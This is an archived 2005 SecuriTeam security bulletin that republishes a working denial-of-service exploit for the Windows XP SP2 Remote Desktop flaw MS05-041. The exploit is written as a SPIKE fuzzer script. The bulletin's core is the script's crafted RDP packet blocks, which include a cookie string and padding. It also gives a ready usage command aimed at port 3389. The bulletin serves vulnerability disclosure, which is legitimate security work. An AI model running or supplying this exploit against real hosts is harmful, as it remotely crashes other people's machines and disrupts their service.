

[EXPL] Vulnerability in Remote Desktop Protocol Could Allow Denial of Service (MS05-041, Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-08/0042.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 08/10/05

To: list@securiteam.com

Date: 10 Aug 2005 14:51:29 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Vulnerability in Remote Desktop Protocol Could Allow Denial of Service
(MS05-041, Exploit)

SUMMARY

The following code exploits the RDP vulnerability described in Microsoft's security advisory:

<<http://www.securiteam.com/windowsntfocus/5VP0B00GKS.html>> Vulnerability in Remote Desktop Protocol Allow DoS.

DETAILS

Exploit Code:

```
// Windows XP SP2 'rdpwd.sys' Remote Kernel DoS
```

```
//
```

```
// Discovered by:
```

```
// Tom Ferris
```

```
// tommy[at]security-protocols[dot]com
```

```
//
```

```
// Tested on:
```

```
// Microsoft Windows XP SP2
```

```
//
```

```
// Usage (SPIKE) : ./generic_send_tcp 192.168.1.100 3389 remoteass.spk 1 0
```

Securiteam: [EXPL] Vulnerability in Remote Desktop Protocol Could Allow Denial of Service (MS05-041, Exploit)

```
//  
// 8/9/2005 Security-Protocols.com  
//  
// This program is free software; you can redistribute it and/or modify it  
// under  
// the terms of the GNU General Public License version 2, 1991 as  
// published by  
// the Free Software Foundation.  
  
s_block_start("packet_1");  
s_string_variable("03");  
s_binary("03 00 00 27 22 E0 00 00 00 00 00 43 6F 6F 6B 69 65 3A 20 6D  
73 74 73 68 61 73 68 3D 41 64 6D 69 6E 69 73 74 72 0D 0A");  
s_binary("03 00 00 27 22 E0 00 00 00 00 00 43 6F 6F 6B 69 65 3A");  
s_string_variable("");  
s_binary("41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41");  
s_string_variable("");  
s_block_end("packet_1");  
  
s_block_start("packet_2");  
s_int_variable(0x0500,5);  
s_block_end("packet_2");  
  
s_block_start("packet_3");  
s_binary("000002020000");  
s_string_variable("");  
s_block_end("packet_3");
```

ADDITIONAL INFORMATION

The information has been provided by
<mailto:tommy@security-protocols.com> Tom Ferris.
The original article can be found at:
<<http://www.frsirt.com/exploits/20050809.remoteass.spk.php>>
<http://www.frsirt.com/exploits/20050809.remoteass.spk.php>

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.